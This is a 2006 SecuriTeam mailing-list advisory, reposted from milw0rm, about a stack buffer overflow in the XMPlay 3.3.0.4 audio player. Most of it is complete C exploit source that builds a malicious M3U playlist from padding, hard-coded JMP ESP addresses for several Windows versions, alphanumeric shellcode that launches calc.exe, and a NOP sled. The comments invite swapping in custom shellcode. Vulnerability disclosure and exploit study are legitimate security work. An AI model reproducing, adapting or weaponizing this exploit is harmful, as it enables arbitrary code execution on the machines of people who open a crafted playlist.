

# [EXPL] XMPlay M3U Filename Local Buffer Overflow (Exploit)

---

*Source:* <http://www.derkeiler.com/Mailing-Lists/Securiteam/2006-11/msg00057.html>

---

- *From:* SecuriTeam <[support@xxxxxxxxxxxxxx](mailto:support@xxxxxxxxxxxxxx)>
  - *Date:* 22 Nov 2006 16:08:18 +0200
- 

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>  
-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.  
<http://www.securiteam.com/maillinglist.html>

-----

XMPlay M3U Filename Local Buffer Overflow (Exploit)

---

## SUMMARY

" <<http://www.un4seen.com/>> XMPlay is an audio player, supporting different audio formats and playlists."

Mishandling of M3U file names in XMPlay results in arbitrary code execution.

## DETAILS

Vulnerable Systems:

\* XMPlay version 3.3.0.4

Exploit:

/\*

=====

0-day XMPlay 3.3.0.4 .M3U Filename Buffer Overflow Exploit

=====

XMPlay 3.3.0.4 and lower experience a stack-based buffer overflow when loading malformed M3U files (probably PLS and ASX files as well).

## [EXPL] XMPlay M3U Filename Local Buffer Overflow (Exploit)

This merely executes CALC.exe but you could always add your own custom shellcode (alpha2)

Either the DisplayName field of the M3U or the FileName field can be used to exploit the system, but during my tests, using the DisplayName field caused Windows DEP to activate. (English Windows XP SP2)

Huge Greets and Thanks to Expanders (expanders[at]gmail[dot]com) Who I presented the PoC and Discovery to, and he wrote the first PoC Exploit for it. And Jerome Athias for some neat tools. Both of these guys are very talented, keep up the good work.

Someone should try this with ASX and PLS files, i bet it works as well.  
Reported Exploit Date: 11/20/2006

\*/

```
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char *argv[])
{

FILE * Exploit;
char buffer[512];

/* Executes Calc.exe Alpha2 Shellcode Provided by Expanders
<expanders[at]gmail[dot]com> */
unsigned char scode[] =
"TYIIIIIIIIII7QZjAXP0A0AAQ2AB2BB0BBABXP8ABuJI"

"YIHhQTs0s0c0LKcuwLLK1ls52Xs1JONkRofxNkcoUpUQZKCylK4tLKuQxnTqo0LYnLMTkpptUWiQ9ZdM"

"5QO2JKZT5k2tUtUTPuKULKQOfDc1zKPfNkflrkNkSowlvaZKLLK5LIKgqxkMYqL14wtYSFQkpcTNkQPtp"

"LEiPd8VINkqPVIIKpp71NMLK0htHjKuYnkMPnP7pc05PLKsXUls0vQxvU0PVOy9hlCo0SKRpsXhoxNip"
"sPu8LX9nMZvvnv79oM7sSU1rLsSdnu5rX3UuPA";

char NOPSled[20];
char tail[] = ".mid\r\n";
char Overflow[5000];
int i, JMP;

printf("\n===== \n");
printf("XMPlay 3.3.0.4 and prior M3U Filename Buffer Overflow
Exploit\n");
printf("Discovered By: Greg Linares <GLinares.code[at]gmail[dot]com>\n");
```

## [EXPL] XMPlay M3U Filename Local Buffer Overflow (Exploit)

```
printf("Original PoC coded by: Expanders
<expanders[at]gmail[dot]com>\n\n");
printf("Usage: %s, <output M3U file> <JMP> [M3U Display Name]\n",
argv[0]);
printf("\n JMP Options\n");
printf("1 = English Windows XP SP 2 User32.dll <JMP ESP 0x77db41bc>\n");
printf("2 = English Windows XP SP 1 User32.dll <JMP ESP 0x77d718fc>\n");
printf("3 = English Windows 2003 SP0 and SP1 User32.dll <JMP ESP
0x77d74adc>\n");
printf("4 = English Windows 2000 SP 4 User32.dll <JMP ESP
0x77e3c256>\n");

printf("=====\n\n\n");

if (argc < 2) {
printf("Invalid Number Of Arguments\n");
return 1;
}

Exploit = fopen(argv[1], "w");
if ( !Exploit )
{
printf("\nCouldn't Open File!");
return 1;
}
memset(Overflow, 0, 5000);
memset(buffer, 0, 505);
memset(NOPSled, 0, 20);
fputs("#EXTM3U\r\n", Exploit);
if (strlen(argv[3]) > 0) {
fputs("#EXTINF:0,", Exploit);
fputs(argv[3], Exploit);
fputs("\r\n", Exploit);
} else {

fputs("#EXTINF:0, XMPlay_0-Day_Buffer_Overflow_Exploit_By_Greg_Linares_and_Expanders\r\n",
Exploit);
}

fputs("C:\\", Exploit);

for (i=0; i<505; i++) {
strcat(buffer, "A");
}

fputs(buffer, Exploit);
if (atoi(argv[2]) <= 0) {
JMP = 1;
} else if (atoi(argv[2]) > 4) {
```

## [EXPL] XMPlay M3U Filename Local Buffer Overflow (Exploit)

```
JMP = 1;
} else {
JMP = atoi(argv[2]);
}
switch(JMP) {
case 1:
printf("Using English Windows XP SP2 JMP...\n");
fputs("\xbc\x41\xdb\x77", Exploit);
break;
case 2:
printf("Using English Windows XP SP1 JMP...\n");
fputs("\xfc\x18\xd7\x77", Exploit);
break;
case 3:
printf("Using English Windows 2003 SP0 & SP1 JMP...\n");
fputs("\xdc\x4a\xd7\x77", Exploit);
break;
case 4:
printf("Using English Windows 2000 SP 4 JMP...\n");
fputs("\x56\xc2\xe3\x77", Exploit);
break;
}

fputs(scode, Exploit);

for (i=0;i<20;i++) {
strcat(NOPSled, "\x90");
}
fputs(NOPSled, Exploit);
fputs(tail, Exploit);

printf("Exploit Succeeded...\n Output File: %s\n\n", argv[1]);
printf("Exploit Coded by Greg Linares
(GLinares.code[at]gmail[dot]com)\n");
printf("Greetz to: Jerome Athias and Expanders – Thanks For The Ideas,
Tools and Alpha2 Shell Code\n");

fclose(Exploit);
return 0;
}
```

### ADDITIONAL INFORMATION

The information has been provided by milw0rm.com.

The original article can be found at:

<<http://www.milw0rm.com/exploits/2815>>

<http://www.milw0rm.com/exploits/2815>

[EXPL] XMPlay M3U Filename Local Buffer Overflow (Exploit)

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@xxxxxxxxxxxxxxxxx

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxxxxx

=====

=====

**DISCLAIMER:**

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.